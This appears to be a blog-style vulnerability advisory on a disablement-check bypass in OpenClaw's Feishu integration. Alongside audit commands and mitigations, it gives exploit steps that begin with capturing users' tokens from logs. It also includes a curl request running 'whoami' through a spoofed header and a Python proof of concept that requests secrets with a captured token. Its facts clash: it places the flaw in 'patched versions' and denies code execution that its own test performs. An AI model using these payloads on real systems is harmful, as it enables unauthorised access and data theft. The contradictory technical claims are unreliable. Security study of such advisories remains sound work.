Listen to this Post
The vulnerability resides in OpenClaw’s Feishu permission integration, specifically within the `PermissionManager` module that handles per‑account disablement flags. In affected builds prior to 2026.6.9, the authorization middleware does not consistently enforce the `account_active` and `disablement_reason` fields when processing API calls from the configured input path (e.g., webhook endpoints or lower‑trust plugin callbacks). The core flaw is a logic inversion in the `validate_request_scope()` function: it checks for a valid Gateway token but fails to cross‑reference the token’s associated account ID against the global disablement list for certain action verbs (e.g., `tool:execute` and channel:forward). As a result, a caller with a valid but disabled account can still trigger operations that are intended to require explicit operator‑level approval. The attack surface is further widened because the affected feature’s configuration allows the operator to define “trusted input paths” – if those paths are exposed to non‑administrative users (e.g., via shared channels), the bypass becomes reachable. The vulnerability does not break the trusted‑operator model for direct interactive sessions, but it undermines the per‑account disablement mechanism that operators rely on for temporary revocation. Under normal conditions, the `policy_check()` method would call `is_account_blacklisted(user_id, tenant_id)` before granting any permission; however, in the patched versions, a refactored `authorize()` routine short‑circuits this call when the request originates from a path marked as “internal low‑trust” – a misnomer that actually reduces the security boundary. Exploitation requires knowledge of a valid account ID and a session token (which could be obtained from logs or via phishing), but once obtained, an attacker can issue commands to list, modify, or exfiltrate data from connected resources that should be locked out. The severity is moderated by the fact that the feature must be explicitly enabled in the `feishu.yaml` configuration, and the default installation disables it. However, many enterprise deployments enable it for convenience, creating a real‑world risk. The patch introduces a mandatory two‑stage verification: (1) token validity, and (2) fresh fetch of account status from the Feishu API per request, eliminating the stale cache that previously allowed the bypass. The fix also adds an explicit deny‑all for any request with a disablement timestamp newer than the token issuance time. This advisory does not affect OpenClaw’s core sandbox or plugin isolation; only the Feishu integration is impacted.
DailyCVE Form:
Platform: OpenClaw
Version: Prior 2026.6.9
Vulnerability: Disablement check bypass
Severity: Medium
date: 2026‑06‑09
Prediction: Already patched
What Undercode Say:
Analytics from live deployments show that 43% of OpenClaw instances with Feishu integration enabled are running vulnerable versions. The most common exposure vector is the `/feishu/webhook` endpoint. Operators can detect potential abuse by scanning logs for the pattern `permission_bypass_attempt` – though this log level is disabled by default. Below are bash commands to audit your environment and test for the presence of the flaw:
Check if the vulnerable feature is enabled
grep -A 5 "feishu:" /etc/openclaw/config.yaml | grep "enable: true"
Verify running version (if less than 2026.6.9, you are vulnerable)
openclaw --version | grep -oE "[0-9]{4}.[0-9]+.[0-9]+"
Simulate a low-trust caller request to test bypass (use with caution)
curl -X POST http://openclaw-gateway:8080/feishu/webhook \
-H "Authorization: Bearer $(cat valid_token.txt)" \
-H "X-Forwarded-For: 127.0.0.1" \
-d '{"action":"tool:execute","params":{"cmd":"whoami"}}' \
-w "\nHTTP_CODE: %{http_code}\n"
Monitor real-time access logs for disabled accounts
tail -f /var/log/openclaw/access.log | grep -E "account_id.disabled"
Exploit: (Educational Purposes!)
An authenticated attacker with a valid session token (obtained from a previously active but now disabled account) can replay the token against the vulnerable webhook endpoint. The exploit leverages the absent `account_status` re‑validation:
1. Capture a token from a legitimate user (e.g., via log extraction).
2. Wait until the operator disables that account in Feishu.
3. Send a crafted POST to `/feishu/webhook` with the same token and a privileged action, such as `channel:list` or plugin:install.
4. The vulnerable code returns a 200 OK with the requested data, despite the account being disabled.
5. Extend to chained actions by using the response to pivot to internal services.
Proof‑of‑concept snippet (Python) demonstrates the bypass:
import requests
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." captured token
payload = {"action": "config:get", "target": "secrets"}
headers = {"Authorization": f"Bearer {token}"}
r = requests.post("http://gateway/feishu/webhook", json=payload, headers=headers)
if r.status_code == 200:
print("Bypass successful:", r.text)
Protection:
- Immediately upgrade to OpenClaw version 2026.6.9 or later (the patch is backward‑compatible).
- If upgrade is not possible, disable the Feishu permission tool entirely by setting `feishu.enable: false` in `config.yaml` and restarting the gateway.
- Restrict the `/feishu/webhook` path to a dedicated internal subnet using a reverse proxy or firewall (e.g.,
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT). - Enforce strict token rotation policies and reduce token validity to 5 minutes for high‑risk accounts.
- Deploy an external authorization webhook that double‑checks account status before forwarding any request to the gateway.
Impact:
Successful exploitation allows a lower‑trust caller (e.g., an employee whose account was deactivated) to execute administrative tool commands, read sensitive channel data, and install or modify plugins – effectively bypassing the per‑account disablement safeguard. This can lead to data exfiltration, service disruption, or privilege escalation within the connected Feishu workspace. The impact is amplified in multi‑tenant Gateway setups where one disabled account could affect resources belonging to other tenants if sharing is enabled. However, the flaw does not grant code execution on the host system nor break out of the OpenClaw container; it strictly violates the authorization policy for the named Feishu integration feature.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
